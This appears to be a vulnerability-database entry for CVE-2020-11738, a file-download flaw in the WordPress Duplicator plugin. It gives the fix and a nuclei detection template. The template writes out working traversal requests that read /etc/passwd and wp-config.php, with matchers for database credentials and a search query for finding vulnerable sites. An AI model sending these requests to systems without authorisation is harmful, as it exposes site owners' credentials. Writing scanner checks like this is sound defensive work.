HexBrain

Browse / CVEs / CVE-2020-11738

CVE-2020-11738· snapcreek / duplicator· CWE-22

WordPress Duplicator 1.3.24 & 1.3.26 - Local File Inclusion

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

highseverity
7.5CVSS score
97.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

WordPress Duplicator 1.3.24 & 1.3.26 are vulnerable to local file inclusion vulnerabilities that could allow attackers to download arbitrary files, such as the wp-config.php file. According to the vendor, the vulnerability was only in two versions v1.3.24 and v1.3.26, the vulnerability wasn't present in versions 1.3.22 and before.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire WordPress installation.

Fix

Update the WordPress Duplicator plugin to the latest version (1.3.27 or higher) to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd ; GET {{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php
Positive when: matches in header /File Transfer/ AND matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-11738 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-11738

info:
  name: WordPress Duplicator 1.3.24 & 1.3.26 - Local File Inclusion
  author: dwisiswant0
  severity: high
  description: |
    WordPress Duplicator 1.3.24 & 1.3.26 are vulnerable to local file inclusion vulnerabilities that could allow attackers to download arbitrary files, such as the wp-config.php file. According to the vendor, the vulnerability was only in two
    versions v1.3.24 and v1.3.26, the vulnerability wasn't
    present in versions 1.3.22 and before.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire WordPress installation.
  remediation: |
    Update the WordPress Duplicator plugin to the latest version (1.3.27 or higher) to mitigate the vulnerability.
  reference:
    - https://www.tenable.com/blog/duplicator-wordpress-plugin-vulnerability-exploited-in-the-wild
    - https://snapcreek.com/duplicator/docs/changelog/?lite
    - https://www.wordfence.com/blog/2020/02/active-attack-on-recently-patched-duplicator-plugin-vulnerability-affects-over-1-million-sites/
    - http://packetstormsecurity.com/files/160621/WordPress-Duplicator-1.3.26-Directory-Traversal-File-Read.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11738
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-11738
    cwe-id: CWE-22
    epss-score: 0.97822
    epss-percentile: 0.99905
    cpe: cpe:2.3:a:snapcreek:duplicator:*:*:*:*:lite:wordpress:*:*
  metadata:
    max-request: 2
    vendor: snapcreek
    product: duplicator
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/duplicator"
  tags: cve,cve2020,kev,tenable,packetstorm,wordpress,wp-plugin,lfi,snapcreek,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php"

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - "File Transfer"
          - "application/octet-stream"
          - "attachment; filename=\"(wp-config\\.php|passwd)\""
        condition: and

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "define\\('DB_(NAME|USER|PASSWORD|HOST|CHARSET|COLLATE)'"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from